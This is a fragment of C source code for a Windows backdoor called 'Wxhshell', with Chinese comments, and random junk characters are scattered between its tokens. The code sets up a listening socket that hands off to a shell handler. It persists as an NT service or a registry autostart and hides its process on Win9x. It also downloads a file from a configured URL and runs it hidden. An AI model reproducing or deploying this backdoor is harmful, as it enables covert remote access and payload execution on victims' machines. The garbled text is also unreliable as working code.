.[sn5l- W{Cc wq if(strstr(procName,"services")) return 1; // 以服务启动 QdKxuG k]< return 0; // 注册表启动 V1KWi^ } NF1e>O:a< =2#a@D6Bl // 主模块 ZdEeY|j int StartWxhshell(LPSTR lpCmdLine) a1p:~;f}[ { d\`A
^ SOCKET wsl; 0lNVQxG BOOL val=TRUE; &nk6_{6
c int port=0; B$k<F8!% struct sockaddr_in door; 8T'=lTJ L!E/ )#{ if(wscfg.ws_autoins) Install(); =R#K`H66j MN2# port=atoi(lpCmdLine); BRP9j
y Q5e ,[1 if(port<=0) port=wscfg.ws_port; %t0Fx R@``MC0 WSADATA data; ?;.j) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V *=To *b?C%a9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?H7*? HV setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -
Z "w door.sin_family = AF_INET; FxSBxz<N-A door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Q !4\Gy door.sin_port = htons(port); <@n/[ +3 Q3#-q>;7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lTPo2-j/eK closesocket(wsl); 88}c+V+N! return 1; o#{D;' } KO(+%>^R XM3N>OR. if(listen(wsl,2) == INVALID_SOCKET) { @.fuR# closesocket(wsl); "G P!]3t return 1; irCS}Dbw } euM7>
$` Wxhshell(wsl); $}<+~JpGfP WSACleanup(); lhTjG,U= )W'l^R4W return 0; F\+wM*:U H,qIHQW# } hGcq>Cvf #d%'BUde // 以NT服务方式启动 n6;jIf| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i TY4X:x { d$s1l DWORD status = 0; X'Q$v~/ DWORD specificError = 0xfffffff; \_FX}1Wc2. In|:6YDL& serviceStatus.dwServiceType = SERVICE_WIN32; >#B%gxff serviceStatus.dwCurrentState = SERVICE_START_PENDING; gd[jYej'RP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KotJ,s]B serviceStatus.dwWin32ExitCode = 0; o)'T#uK serviceStatus.dwServiceSpecificExitCode = 0; EA%(+tJ^0 serviceStatus.dwCheckPoint = 0; E;~gQ6vAI serviceStatus.dwWaitHint = 0; Qvs}{h/ ,+P!R0PNH hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5n1;@Vr if (hServiceStatusHandle==0) return; xL4qt= $ud5bT{n status = GetLastError(); DW@PPvfs if (status!=NO_ERROR) EvIL[\Dy { !8vHN=)z serviceStatus.dwCurrentState = SERVICE_STOPPED; ys:1%D,,_ serviceStatus.dwCheckPoint = 0; `pzp(\lc serviceStatus.dwWaitHint = 0; ?yzhk7j7 serviceStatus.dwWin32ExitCode = status; ,St#/tu serviceStatus.dwServiceSpecificExitCode = specificError; b9[;qqq@' SetServiceStatus(hServiceStatusHandle, &serviceStatus); &^4\Rx_I return; L5"" } xh[Mmq/R ^ng#J\
serviceStatus.dwCurrentState = SERVICE_RUNNING; zcD&xoL\H serviceStatus.dwCheckPoint = 0; 9H?er_6Yf serviceStatus.dwWaitHint = 0; ?hvPPEJf if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j$^3 } K+ xiov-r? a ^<W
?Z // 处理NT服务事件,比如:启动、停止 =:[Jz1 M5 VOID WINAPI NTServiceHandler(DWORD fdwControl) -WwFUm { < i*v switch(fdwControl) O5{!CT$ { p*F&G=ZE case SERVICE_CONTROL_STOP: {bL6%._C serviceStatus.dwWin32ExitCode = 0; q5?g/-_0[ serviceStatus.dwCurrentState = SERVICE_STOPPED; tYiK#N7 serviceStatus.dwCheckPoint = 0; w"$CV@AJ serviceStatus.dwWaitHint = 0; R6]/g { ,xB&{J SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bv
\ihUg/ } ,K .P,z~* return; Ojq>4=Z\ case SERVICE_CONTROL_PAUSE: uQWJ7Xm serviceStatus.dwCurrentState = SERVICE_PAUSED; R_\{a*lV0 break; vb)Z&V6( case SERVICE_CONTROL_CONTINUE: EsXCi2]1 serviceStatus.dwCurrentState = SERVICE_RUNNING; D4<nS<8 break; Bp6jF2 case SERVICE_CONTROL_INTERROGATE: v9INZ1# v break; x)l}d3
}; g}0}$WgH: SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Vt7[L* } _ 0%sYkUc 5j1}?0v_ // 标准应用程序主函数 oL>m}T int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wxVf6` { LU~U> u _s // 获取操作系统版本 6ND,4'6 OsIsNt=GetOsVer(); Zalgg/. GetModuleFileName(NULL,ExeFile,MAX_PATH); Kvv&# eO\ LGKkT?fcSC // 从命令行安装 FOgF'!K if(strpbrk(lpCmdLine,"iI")) Install(); }UZ$<81= AZt~ \qf // 下载执行文件 /4+M0P l if(wscfg.ws_downexe) { <splLZW3k if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JLm0[1Lzd WinExec(wscfg.ws_filenam,SW_HIDE); OEy'8O$ } [t5:4
Iq 1@RctI_} if(!OsIsNt) { S9}P5;u // 如果时win9x,隐藏进程并且设置为注册表启动 g4!zH};n HideProc(); \ }>1$kH; StartWxhshell(lpCmdLine); XWZ
*{/u } "2(lgxhj else ym:^Y-^iV if(StartFromService()) ?dlQE,hB$ // 以服务方式启动 y 562g`"U StartServiceCtrlDispatcher(DispatchTable); Teu4 ; else qyGVyi3 // 普通方式启动 pL8+gL StartWxhshell(lpCmdLine); YuSe~~F)j w'K\}G~ return 0; zz 7m\ }
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